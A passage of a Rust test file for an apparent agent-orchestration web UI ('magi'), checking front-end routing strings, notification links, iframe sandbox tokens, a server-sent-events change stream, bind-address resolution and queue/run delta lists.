20433 let home = TempDir::new().unwrap();
20434 let store = ask::Questions::at(home.path().join("questions"));
20435 let mut q = Question::new(
20436 "run".to_owned(),
20437 "implement".to_owned(),
20438 "impl-A".to_owned(),
20439 "which?".to_owned(),
20440 String::new(),
20441 Vec::new(),
20442 );
20443 q.say("plain words").unwrap();
20444 q.reply("use **this**", Vec::new()).unwrap();
20445 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20446 let bodies = &v["thread_bodies_md"];
20447 assert_eq!(bodies.as_array().unwrap().len(), 2);
20448 assert!(!bodies[0].to_string().contains("strong"));
20449 assert!(bodies[1].to_string().contains("strong"));
20450 }
20451
20452 #[test]
20453 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20454 let home = TempDir::new().unwrap();
20455 let store = ask::Questions::at(home.path().join("questions"));
20456 let mut q = Question::new(
20457 "run".to_owned(),
20458 "conduct".to_owned(),
20459 "conduct".to_owned(),
20460 "which?".to_owned(),
20461 String::new(),
20462 Vec::new(),
20463 );
20464 q.say("plain words").unwrap();
20465 q.thread.push(ask::Turn {
20466 who: ask::Who::Agent,
20467 body: "Settled as `merge`".to_owned(),
20468 at: jiff::Timestamp::now(),
20469 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20470 });
20471 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20472 let notes = &v["thread_notes_md"];
20473 assert_eq!(notes.as_array().unwrap().len(), 2);
20474 assert!(notes[0].is_null());
20475 let text = notes[1].to_string();
20476 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20477 assert!(APP_JS.contains("ask-turn-note"));
20478 }
20479
20480 #[test]
20481 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20482 assert!(APP_JS.contains("function landView(run, raw) {"));
20486 assert!(
20487 APP_JS.contains(
20488 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20489 )
20490 );
20491 assert!(APP_JS.contains("const pr = landView(run, raw);"));
20492 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20493 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20494 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20495 }
20496
20497 #[test]
20498 fn live_runs_are_never_hidden_or_folded_as_superseded() {
20499 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
20500 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20501 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20502 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20503 }
20504
20505 #[test]
20506 fn review_rounds_label_a_distinct_verified_head() {
20507 assert!(APP_JS.contains("round.verified_head"));
20508 assert!(APP_JS.contains("verified HEAD"));
20509 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20510 }
20511
20512 #[test]
20513 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20514 assert!(APP_JS.contains("blocked: { glyph:"));
20518 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20519
20520 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20524 assert!(
20525 APP_JS.contains(
20526 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20527 ),
20528 "the note line must name what a blocked task is waiting on, not just that it is blocked"
20529 );
20530 assert!(APP_JS.contains("if (status === \"blocked\") {"));
20534
20535 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20539 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20540 assert!(
20541 APP_JS.contains("location.hash = \"#/questions\";"),
20542 "a question node must jump to the Questions screen, not pretend to be a task"
20543 );
20544
20545 assert!(APP_JS.contains("Resolved questions"));
20548 assert!(APP_JS.contains("r.answersList.append("));
20549 assert!(APP_CSS.contains(".task-answers"));
20550 {
20551 let start = APP_JS
20552 .find("function updateTalkTaskRow")
20553 .expect("updateTalkTaskRow");
20554 let body = &APP_JS[start..];
20555 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20556 assert!(
20557 body.contains(
20558 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20559 ),
20560 "a chat-filed task row must link to the task page"
20561 );
20562 assert!(
20563 !body.contains("#/runs/") && !body.contains("#/queue/"),
20564 "the row must not branch to a run or the queue card"
20565 );
20566 assert!(APP_CSS.contains(".talk-task-link"));
20567 }
20568 }
20569
20570 #[test]
20571 fn a_task_notification_links_to_the_task_page() {
20572 let start = APP_JS
20574 .find("function noticeLink(")
20575 .expect("noticeLink exists");
20576 let body = &APP_JS[start..];
20577 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20578 assert!(
20579 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20580 "a task notice's link must target the task page"
20581 );
20582 assert!(
20583 !body.contains("#/queue/"),
20584 "regression: the task link must not go back to the Backlog route"
20585 );
20586 assert!(
20587 APP_JS.contains(
20588 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20589 ),
20590 "`#/tasks/<id>` must parse into the task route"
20591 );
20592
20593 assert!(
20595 APP_JS.contains(
20596 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20597 ),
20598 "`#/queue/<id>` must parse into a route carrying that id"
20599 );
20600
20601 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20605 assert!(APP_JS.contains("function consumeQueueFocus()"));
20606 assert!(APP_JS.contains("jumpToTask(id)"));
20607 }
20608
20609 #[test]
20610 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20611 let start = APP_JS
20612 .find("function noticeCoveredBy(")
20613 .expect("noticeCoveredBy exists");
20614 let body = &APP_JS[start..];
20615 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20616
20617 assert!(body.contains("Associated question ${short}"));
20619 assert!(!body.contains("el(\"a\""));
20620
20621 assert!(body.contains("(resolved)"));
20623 assert!(body.contains("(closed)"));
20624
20625 let start = APP_JS
20626 .find("function renderNotifications()")
20627 .expect("renderNotifications exists");
20628 let body = &APP_JS[start..];
20629 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20630
20631 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20633 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20634 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20635 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20636 }
20637
20638 #[test]
20641 fn chat_rows_put_the_title_alone_on_the_first_line() {
20642 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20643 assert!(APP_CSS.contains(
20644 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20645 ));
20646 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20647 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20648 }
20649
20650 #[test]
20651 fn run_rows_put_the_title_alone_on_the_first_line() {
20652 assert!(
20653 APP_CSS.contains(
20654 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20655 )
20656 );
20657 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20658 assert!(APP_JS.contains("class: \"card run-card\""));
20659 assert!(APP_JS.contains("class: \"repo run-id\""));
20660 }
20661
20662 #[test]
20666 fn wide_screens_show_list_and_preview_side_by_side() {
20667 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20669 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20670 assert!(APP_CSS.contains("main[data-split]"));
20671 assert!(APP_CSS.contains("body[data-split]"));
20672
20673 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20675 assert!(
20676 APP_JS.contains(
20677 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20678 )
20679 );
20680 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20681 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20682 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20683
20684 assert!(APP_JS.contains("function markSelected() {"));
20686 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20687 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20688 assert!(
20690 APP_CSS.contains(
20691 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20692 )
20693 );
20694
20695 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20697 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20698 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20699 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20700
20701 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20705 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20706 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20707 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20708
20709 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20711 }
20712
20713 #[test]
20714 fn panel_sandbox_carries_exactly_popups() {
20715 let needle = "sandbox: \"";
20716 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20717 assert_eq!(
20718 matches.len(),
20719 1,
20720 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20721 );
20722 let start = matches[0].0 + needle.len();
20723 let end = APP_JS[start..]
20724 .find('"')
20725 .expect("sandbox attribute value must be terminated by a closing quote");
20726 let val = &APP_JS[start..start + end];
20727 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20728 let expected: std::collections::BTreeSet<&str> =
20729 ["allow-popups", "allow-popups-to-escape-sandbox"]
20730 .into_iter()
20731 .collect();
20732 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20733 assert!(
20734 !tokens.contains("allow-scripts"),
20735 "allow-scripts must never be present in sandbox"
20736 );
20737 assert!(
20738 !tokens.contains("allow-same-origin"),
20739 "allow-same-origin must never be present in sandbox"
20740 );
20741 }
20742
20743 #[test]
20744 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20745 assert!(
20754 APP_JS.contains(
20755 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20756 ),
20757 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20758 recursive renderQueue() call has nothing left to jump to"
20759 );
20760 assert!(
20761 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20762 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20763 arrives later still gets it"
20764 );
20765 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20766 assert!(APP_JS.contains("is not in the current Backlog."));
20767 assert!(APP_JS.contains("li.card[data-task-id=\""));
20768 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20769 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20770 assert!(APP_CSS.contains(".card-permalink"));
20771 assert!(APP_CSS.contains(".queue-focus-status"));
20772 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20773 }
20774
20775 #[test]
20776 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20777 assert!(
20785 APP_JS.contains(
20786 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20787 ),
20788 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20789 );
20790 }
20791
20792 #[test]
20793 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20794 assert!(
20795 APP_JS.contains("round.verified_head !== round.head"),
20796 "a round that verified an earlier commit must be visibly distinct from one that \
20797 verified the head reviewers are looking at now"
20798 );
20799 assert!(
20800 APP_JS.contains("round.verified_at"),
20801 "when a check ran must be on the wire, not just which commit"
20802 );
20803 assert!(
20804 APP_JS.contains("resource_blocked"),
20805 "a command magi never got to run (shared build cache contention) must not render \
20806 the same as a command that ran and failed"
20807 );
20808 }
20809
20810 #[test]
20811 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20812 assert!(
20820 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20821 "every KPI tile built through statusTile() must route its click through \
20822 openRunsFiltered, the single place that sets the Runs filter"
20823 );
20824 for (label, status) in [
20825 ("Merged", "merged"),
20826 ("Ready", "ready"),
20827 ("Blocked", "blocked"),
20828 ("Stalled", "stalled"),
20829 ] {
20830 let call = format!("statusTile(\"{label}\", t.{status}, ");
20831 assert!(
20832 APP_JS.contains(&call),
20833 "expected the {label} KPI tile built via {call}..."
20834 );
20835 assert!(
20836 APP_JS.contains(&format!("status === \"{status}\"")),
20837 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20838 compare a run against, not one invented only for the stats tile"
20839 );
20840 }
20841 assert!(
20842 APP_JS.contains("function openRunsFiltered(status)"),
20843 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20844 );
20845 assert!(
20846 APP_JS.contains(
20847 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20848 ),
20849 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20850 );
20851 assert!(
20859 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20860 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20861 hashchange event that may never fire"
20862 );
20863 }
20864
20865 #[test]
20866 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20867 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20873 assert!(
20874 APP_JS.contains(
20875 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20876 ),
20877 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20878 guard for an incompatible tree section"
20879 );
20880 }
20881
20882 #[test]
20883 fn every_stats_queue_tile_names_a_real_queue_section() {
20884 assert!(
20890 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20891 "every queue tile built through sectionTile() must route its click through \
20892 openQueueSectionFocus"
20893 );
20894 for key in ["upnext", "running", "done", "held", "blocked"] {
20895 assert!(
20896 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20897 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20898 );
20899 }
20900 for line in [
20904 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20905 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20906 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20907 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20908 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20909 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20910 ] {
20911 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20912 }
20913 }
20914
20915 #[test]
20916 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20917 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20924 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20925 assert!(APP_JS.contains("function revealQueueSection(details)"));
20926 assert!(
20927 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20928 "renderQueue() must consume both focus channels on every pass"
20929 );
20930 assert!(
20931 APP_JS.contains(
20932 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20933 ),
20934 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20935 the recursive renderQueue() call has nothing left to reveal"
20936 );
20937 assert!(
20938 APP_JS.contains(
20939 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20940 ),
20941 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20942 );
20943 assert!(
20951 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20952 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20953 hashchange event that may never fire"
20954 );
20955 }
20956
20957 #[tokio::test]
20958 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20959 let f = Fixture::start().await;
20960
20961 let mut socket = tokio::net::TcpStream::connect(f.addr)
20962 .await
20963 .expect("connect");
20964 socket
20965 .write_all(
20966 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20967 )
20968 .await
20969 .expect("write request");
20970
20971 let mut seen = String::new();
20974 let mut buf = [0u8; 1024];
20975 while !seen.contains("event: change") {
20976 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20977 .await
20978 .expect("the stream must speak within five seconds")
20979 .expect("read");
20980 assert!(read > 0, "the server closed the change stream: {seen}");
20981 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20982 }
20983
20984 assert!(
20985 seen.to_lowercase()
20986 .contains("content-type: text/event-stream"),
20987 "the browser only reconnects automatically for a real SSE stream: {seen}"
20988 );
20989 let data = seen
20990 .lines()
20991 .find_map(|l| l.strip_prefix("data:"))
20992 .expect("a data line");
20993 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20994 assert!(
20995 payload["queue_rev"].is_u64()
20996 && payload["runs_rev"].is_u64()
20997 && payload["questions_rev"].is_u64()
20998 && payload["talks_rev"].is_u64()
20999 && payload["notifications_rev"].is_u64()
21000 && payload["loop_rev"].is_u64(),
21001 "the client needs one revision per store to know what to refetch, \
21002 and `talks_rev` is the only notification a standing talk gets - a \
21003 phone whose radio slept through a turn learns about it here, as \
21004 does one whose operator started the loop from another device: \
21005 {payload}"
21006 );
21007
21008 let health = f.get("/api/health").await.json();
21015 for key in [
21016 "queue_rev",
21017 "runs_rev",
21018 "questions_rev",
21019 "talks_rev",
21020 "notifications_rev",
21021 "loop_rev",
21022 ] {
21023 assert!(
21024 health[key].is_u64(),
21025 "health is the change stream's fallback and is missing `{key}`: {health}"
21026 );
21027 }
21028 }
21029
21030 #[tokio::test]
21031 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21032 let f = Fixture::start().await;
21033 let before = f.get("/api/health").await.json()["talks_rev"]
21034 .as_u64()
21035 .expect("talks_rev");
21036
21037 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21038 std::thread::sleep(Duration::from_millis(10));
21039 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21040 on_disk.turns.push(crate::talk::Turn {
21041 sender: None,
21042 breaks: Some(Vec::new()),
21043 messages: Vec::new(),
21044 posted_by: None,
21045 who: crate::talk::Who::Operator,
21046 body: "a new turn".to_owned(),
21047 at: Timestamp::now(),
21048 attachments: Vec::new(),
21049 usage: None,
21050 });
21051 f.talks().put(&mut on_disk).expect("record a turn");
21052
21053 let after = tokio::time::timeout(Duration::from_secs(5), async {
21054 loop {
21055 let revision = f.get("/api/health").await.json()["talks_rev"]
21056 .as_u64()
21057 .unwrap();
21058 if revision != before {
21059 break revision;
21060 }
21061 tokio::time::sleep(Duration::from_millis(50)).await;
21062 }
21063 })
21064 .await
21065 .expect("shared monitor observes external turn");
21066 assert_ne!(
21067 before, after,
21068 "a phone must be able to notice a talk's reply without polling every store"
21069 );
21070 }
21071
21072 #[test]
21073 fn bind_reads_back_from_the_spelling_the_cli_prints() {
21074 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21078 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21079 }
21080 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21081 assert!("everywhere".parse::<Bind>().is_err());
21082 }
21083
21084 #[test]
21085 fn an_explicit_bind_address_is_taken_verbatim() {
21086 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21087
21088 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21089
21090 assert_eq!(addr, asked);
21091 assert!(
21092 warning.is_none(),
21093 "an operator who named an address gets no lecture"
21094 );
21095 }
21096
21097 #[test]
21098 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21099 let (addr, warning) = resolve_bind(&Bind::Auto);
21100
21101 match addr {
21108 IpAddr::V4(ip) if is_tailnet(&ip) => {
21109 assert!(warning.is_none(), "a tailnet address needs no warning");
21110 }
21111 other => {
21112 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21113 let warning = warning.expect("a fallback has to explain itself");
21114 assert!(
21115 warning.contains("127.0.0.1") && warning.contains("local-only"),
21116 "the warning says what happened and what it costs: {warning}"
21117 );
21118 }
21119 }
21120 }
21121
21122 #[test]
21123 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21124 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21128 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21129 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21130 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21131 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21132 }
21133
21134 #[test]
21135 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21136 let ids = vec![
21137 "20260902-140501-aaaa".to_owned(),
21138 "20260902-140502-aabb".to_owned(),
21139 ];
21140
21141 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21142 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21143 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21144
21145 assert_eq!(missing.status, StatusCode::NOT_FOUND);
21146 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21147 assert_eq!(short, "20260902-140502-aabb");
21148 }
21149 #[tokio::test]
21150 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21151 let fx = Fixture::start().await;
21157 let id = panel(
21158 &fx,
21159 "<img src=\"shot.png\">",
21160 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21161 );
21162
21163 let doc = fx
21165 .get(&format!("/api/questions/{id}/panel/index.html"))
21166 .await;
21167 assert_eq!(doc.status, 200, "{}", doc.body);
21168 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21169
21170 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21171 assert_eq!(sibling.status, 200, "{}", sibling.body);
21172 assert_eq!(sibling.header("content-type"), Some("image/png"));
21173 assert_eq!(
21174 sibling.header("content-security-policy"),
21175 Some(PANEL_CSP),
21176 "the sibling route must carry the same policy as the asset route"
21177 );
21178
21179 assert_eq!(
21182 fx.head(&format!("/api/questions/{id}/panel")).await.status,
21183 200
21184 );
21185 }
21186
21187 #[test]
21188 fn delta_stamps_cover_add_update_remove_and_noop() {
21189 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21190 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21191 let delta = diff_stamps(&before, &after, 42);
21192 assert_eq!(delta.base, 42);
21193 assert_eq!(delta.changed, ["b", "c"]);
21194 assert_eq!(delta.removed, ["a"]);
21195 let same = diff_stamps(&after, &after, 43);
21196 assert!(same.changed.is_empty() && same.removed.is_empty());
21197 assert_ne!(stamps_revision(&before), stamps_revision(&after));
21198 let nanos: Stamps = [("b".into(), (2, 20))].into();
21199 let same_ms: Stamps = [("b".into(), (3, 20))].into();
21200 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21201 assert_eq!(stamps_revision(&Stamps::new()), 0);
21202 }
21203
21204 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21205 std::fs::create_dir_all(home.join("runs")).unwrap();
21206 Arc::new(
21207 Ui::new(
21208 Queue::at(home.join("queue")),
21209 Questions::at(home.join("questions")),
21210 Talks::at(home.join("talks")),
21211 home.join("runs"),
21212 home.to_owned(),
21213 PathBuf::from("/repo/magi"),
21214 )
21215 .with_worktrees_root(home.join("wt")),
21216 )
21217 }
21218
21219 #[test]
21220 fn monitor_scan_isolates_store_failures_and_recovers() {
21221 let home = TempDir::new().unwrap();
21222 let ui = delta_test_ui(home.path());
21223 std::fs::create_dir_all(ui.questions.root()).unwrap();
21224 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21225 let before = monitor_scan(&ui, None);
21226 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21227 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21228 std::fs::create_dir_all(ui.talks.root()).unwrap();
21229 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21230 let during = monitor_scan(&ui, Some(before.clone()));
21231 assert_eq!(during.0.2, before.0.2);
21232 assert_ne!(during.0.3, before.0.3);
21233 assert!(during.1[2].contains_key("new"));
21234 std::fs::remove_file(ui.questions.root()).unwrap();
21235 let after = monitor_scan(&ui, Some(during));
21236 assert_eq!(after.0.2, 0);
21237 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21238 std::fs::write(ui.questions.root(), "not a directory").unwrap();
21240 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21241 }
21242
21243 #[tokio::test]
21244 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21245 let home = TempDir::new().unwrap();
21246 let ui = delta_test_ui(home.path());
21247 let mut task = Task::new(
21248 "stream task".into(),
21249 "text".into(),
21250 PathBuf::from("/repo"),
21251 Source::Human,
21252 );
21253 ui.queue.put(&mut task).unwrap();
21254 let response = events(State(ui.clone())).await.into_response();
21255 let mut stream = response.into_body().into_data_stream();
21256 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21257 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21258 .await
21259 .unwrap()
21260 .unwrap()
21261 .unwrap();
21262 let text = String::from_utf8(chunk.to_vec()).unwrap();
21263 let data = text
21264 .lines()
21265 .find_map(|line| {
21266 line.strip_prefix("data: ")
21267 .or_else(|| line.strip_prefix("data:"))
21268 })
21269 .unwrap();
21270 serde_json::from_str(data).unwrap()
21271 }
21272 let initial = change(&mut stream).await;
21273 assert!(initial.get("queue_delta").is_none());
21274 task.instruction.push_str(" changed");
21275 ui.queue.put(&mut task).unwrap();
21276 let updated = change(&mut stream).await;
21277 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21278 assert_eq!(
21279 updated["queue_delta"]["changed"],
21280 serde_json::json!([task.id])
21281 );
21282 assert_eq!(
21283 updated["queue_rev"].as_u64(),
21284 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21285 );
21286 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21287 let removed = change(&mut stream).await;
21288 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21289 assert_eq!(
21290 removed["queue_delta"]["removed"],
21291 serde_json::json!([task.id])
21292 );
21293 }
21294
21295 #[tokio::test]
21296 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21297 let home = TempDir::new().unwrap();
21298 let ui = delta_test_ui(home.path());
21299 let queue = ui.queue.clone();
21300 let query = |ids: Option<&str>| {
21301 Query(ListQuery {
21302 limit: Some(2),
21303 ids: ids.map(str::to_owned),
21304 })
21305 };
21306 let mut root = Task::new(
21307 "root".into(),
21308 "instruction".into(),
21309 PathBuf::from("/repo"),
21310 Source::Human,
21311 );
21312 queue.put(&mut root).unwrap();
21313 let mut blocked = Task::new(
21314 "blocked".into(),
21315 "instruction".into(),
21316 PathBuf::from("/repo"),
21317 Source::Human,
21318 );
21319 blocked.block(vec![root.id.clone()], None);
21320 queue.put(&mut blocked).unwrap();
21321 let whole =
21322 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21323 .unwrap();
21324 let subset = serde_json::to_value(
21325 queue_list(State(ui.clone()), query(Some(&root.id)))
21326 .await
21327 .unwrap()
21328 .0,
21329 )
21330 .unwrap();
21331 assert_eq!(whole, subset, "requested root plus its blocked dependent");
21332 let blockers = serde_json::to_value(
21333 queue_list(State(ui.clone()), query(Some("")))
21334 .await
21335 .unwrap()
21336 .0,
21337 )
21338 .unwrap();
21339 assert_eq!(blockers.as_array().unwrap().len(), 1);
21340 assert_eq!(blockers[0]["id"], blocked.id);
21341 assert_eq!(
21342 blockers[0]["waits_on"],
21343 whole
21344 .as_array()
21345 .unwrap()
21346 .iter()
21347 .find(|row| row["id"] == blocked.id)
21348 .unwrap()["waits_on"]
21349 );
21350
21351 for id in [
21352 "20260902-140501-aaaa",
21353 "20260902-140502-bbbb",
21354 "20260902-140503-cccc",
21355 ] {
21356 write_run(&ui.runs, id, RunStatus::Merged);
21357 }
21358 let old = serde_json::to_value(
21359 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21360 .await
21361 .unwrap()
21362 .0,
21363 )
21364 .unwrap();
21365 assert!(
21366 old.as_array().unwrap().is_empty(),
21367 "older updates must not enter the window"
21368 );
21369 let newest = serde_json::to_value(
21370 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21371 .await
21372 .unwrap()
21373 .0,
21374 )
21375 .unwrap();
21376 assert_eq!(newest.as_array().unwrap().len(), 1);
